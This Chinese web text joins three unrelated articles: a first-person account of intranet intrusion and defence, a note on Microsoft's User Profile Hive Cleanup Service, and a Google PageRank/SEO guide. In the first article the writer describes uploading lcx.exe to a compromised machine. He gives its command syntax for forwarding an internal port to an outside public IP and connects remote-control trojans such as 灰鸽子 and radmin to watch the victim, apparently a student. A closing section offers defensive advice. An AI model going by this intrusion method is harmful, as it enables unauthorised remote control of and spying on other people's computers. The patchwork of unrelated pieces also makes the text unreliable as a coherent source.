内网攻防感悟

随着现在的网络发展趋势，公司内网，学校内网，甚至银行内网，应用的越来越广，并且一步步地发挥着越来越大的作用。于是很多人瞄准了这块很爽的奶酪，于是有了种种关于内网的传说。
内网的安全也被提上了日程，很多对内网的入侵，渗透也被很多同行描绘的淋漓尽致。很多的精品，在此，我就是简单的介绍一下关于内网的各种东东。

一、攻击内网
首先介绍几种攻击内网时用到的利器，lcx.exe，CMD内网杀手（和前者有类似），黑洞，pcshare，radmin，灰鸽子，等等。相信大家对这些东西都比较熟悉，在此就不再介绍。一般来说，处于局域网的机器很少能被黑客攻击，因为没有固定的IP，甚至对于一些内网用户根本不可能连接到外网。黑客是怎么进行入侵的呢？找台肉鸡的活，我就不干了。查找合适的（内网）机子。
就他了！！上传lcx.exe，（呵呵，这个攻击方法比较落后了）。
运行他，
TCP 0.0.0.0:8855 0.0.0.0:0 LISTENING
运行成功！这时你可以配置自己的radmin或者灰鸽子了。Lcx的运行方式：lcx.exe -slave公网IP 端口 内网IP 映射端口，轻车熟路，设置好各端口，ok，let’s go！！（耳边传来cs的声音……）运行自己的R端，看到了吧，你的小肉鸡已经在线上了，看他在干什么。
好家伙，居然在玩宠物。羡慕ing……看看还有什么可以利用的，发现江民，但是破解版的，失望啊。
这种方法在现实中广为流传，但是较为简单，偶比较笨拙，也只能用这种方法了，汗。这只是小试牛刀（这台机子好象是学生的）。但是如果入侵的是一公司的主机，哈哈，你可发了。对于端口的映射，基本原理还是相似的，先利用任一种端口工具映射一个或多个端口再进行入侵，我在此就不再多提了。还有最经典的就是“内鬼”了。
因为入侵的过程和手段都是次要的，我们面对的是信息安全的威胁。当然我相信很多人都只是想证明一下自己，但是不乏破坏者。告诫大家一句：慎重。

二、内网的反击。
内网安全是一项长期的任务，安全体系的结构，内网管理人员的素质能力培养，安全体系的具体建设，这些都能给内网带来致命的打击，安全体系就是一支双刃剑，他当然还能带来让人放心的保护。
首先，设置人员安全级别。针对内网中重要的服务器部分，为保证访问人员身份的合法性，采用身份认证系统对访问人员身份的合法性加以确认，对访问服务器的人员做详细的访问控制。给不同的用户设顶确切的权限，禁止权限低的用户访问重要内容，篡改系统设置。
　 其次，加强对系统log的管理。利用系统的记录功能，对网络中所出现的操作和数据等做详细的记录，为事后攻击事件的分析提供了有力的原始依据。直至抓到罪魁祸首，找出漏洞所在，并进行及时弥补，改善。
再者，对区域的限制也是一个很重要的方面。对于一个大型的局域网络内部，往往会根据实际需要划分出多个安全等级不同的区域，合理的进行安全域的划分，利用网络设备所提供的划分VLAN技术等对网络进行初步的安全防护。安全登记的不同，相应的操作的具体过程也应受到限制。
当然，内部的管理人员的素质，也是很重要的，技术在管理方面只能占到4分，而人才是真正的主导力量。加强人员的培养和培训，相信公司网络的安全会更好。
后记：这篇文章只是在看到一家大的公司内网被破坏后的一点感悟，甚感网络安全的重要性和急迫性。对于一些想炫耀搞破坏的人，还是收敛一些好。

微软新服务让你极速关机

不少人可能会发现，关闭Windows是多么的漫长。而引起这个问题的罪魁祸首是，关闭系统时系统需要卸载当前用户的个人资料。
　　这无论是第三方或者甚至微软自己的软件在退出时没有正确的进行清理所致。Windows会不断尝试卸载用户个人资料，直到不能再进行为止才开始关闭系统。但是就算发现了问题所在，我们还是无能为力。这也是微软之所以推出User Profile Hive Cleanup Service的原因。

　　这个服务能够自动清理掉用户的个人信息。

点击进入微软官方下载

　　单运行安装向导后，似乎什么都没发生。但当你打开你的服务列表(点击开始—运行—输入“services.msc”并点击OK)，就会发现有个新服务已经在后台运行:


这个程序是用于在任务运行结束后回收其占用的资源(内存，句柄等)。它通过监控注销的用户，判断哪些资源没用并进行回收。

　　现在，当关闭电脑，注销或重启都会在数秒内完成。

站长必备手册 Google排名策略研究

Google接近每天更新一次，每天都会对排名结果进行更新。

　　建立更多的链接比向google提交URL更容易受到google的收录，更多链接链接到你的网站收录重要性大于通过提交URL的方式收录。

　　PR的更新周期为3个月一次是不确切的.实际上GOOGLE的蜘蛛每索引你的URL一次，PR权重就更新一次，比以往任何时候都要频繁。一种好的网站结构是能利用链接结构去告知Google那个页面是最重要的，从而能引导重要的页面得到更多的PR。如何从Google得到你应该得到的访问者以及如何引导Google索引你的Web，这是一个值得所有站长深思的问题。页面越多，所包含的关键字也会越多，这样与GOOGLE使用者搜索的关键字匹配机会也相应越大。特别是包含大量信息的页面。术语表是一个利用GOOGLE寻找匹配搜索者搜索关键字的一个很好的途径.专来术语、精确的词组等等，在你的日志里查看一下哪一些是你的访问者经常通过GOOGLE输入的。请注意，虽然google有语法分析能力。但是字的完成匹配与不完全匹配在排名时还是存在着一定的差别。

　　如果关键词有100个人用来查询相同的信息，那就是一个非常大的数目了。反省一下:

　　由于你的页面中只包含了“手机”而不是“手机价格”，你在GOOGLE上错过了多少的查询次数。

　　别把互惠链接与链接流行度混淆，链接流行度仍是取得GOOGLE排名的一个最重要的方面之一，但是它所饰演的角度正在慢慢转变。

　　对于搜索者及搜索引擎都很难发现的链接，对于提高链接流行度是毫无意义的，google是不会把这种链接纳入链接广泛度算法的有效范围内。

　　google把A到B的链接解释了A站对B站的一个投票。但google更注重于投票者的份量及数量，它也分析投票的页面。

　　如果投票页面份量越重，那么从google得到此页链接的页面的加权份量也会越重。

　　重要性，一个高质量的网站会得到一个高的GOOGLEPR值。

　　一个与你站点相链接的网站无论它的GOOGLEPR值有多高，但如果他的主题与你网站所描述的主题不一致的话，那么它对你PR贡献也是有限的。

　　google将PR值与文本匹配技术去寻找那些既重要又与你站点主题相关的网站。

　　google通过对页面内容是否与所查询的关键字的匹配程度来决定你的google排名的高低:得到一个高PR相关网站的链接是关键。

　　很多人都忽略了高质量链接还可为他们带来意外的业务。可以从那些高质量的相关站点中获得目标访问者:不要忘了你追求高网站排名初衷!

　　PR策略:停止那些免费链接策略。去寻找能达成链接的高质量相关站点，而且准备付费在其网站上做广告。

　　在今天这个时代里，与小量相关的重要的网站链接比起有成百上千个无关、低质量的网站链接更有利于你所开展的业务。

　　在高质量的相关网站上做广告不但会被google认为是重要的网站而提高排名而且还可以为你带来不少的目标流量，增加销售额。

　　一般PR最少是6以上才算是重要的站点

　　互联网站资源丰富，找合适的链接伙伴也不是难的事情，“天下没有免费的午餐”，要想有收获就得付出代价，这也是必然的事情。

　　在最基本的排列中，google的pagerank算法决定了一个网站的重要程度及最后的排名。

　　与pagerank对比，google的Hilltop算法决定了指定网页与搜索框里的搜索查询语句或者关键字的适当与重要程度。

　　当PR相同的两个描述同样主题的网站中的排名里，这个(hilltop)算法就显得非常的重要了。

　　Google利用(hilltop)算法去定义一个网站与另一个网站的相关性，Hilltop算法在google中作为一个检测杂交链接与相似链接的技术。

　　Hilltop算法实际上是拒绝那些通过任意链接的方法来扰乱google的排名规则而得到较好排名的做法。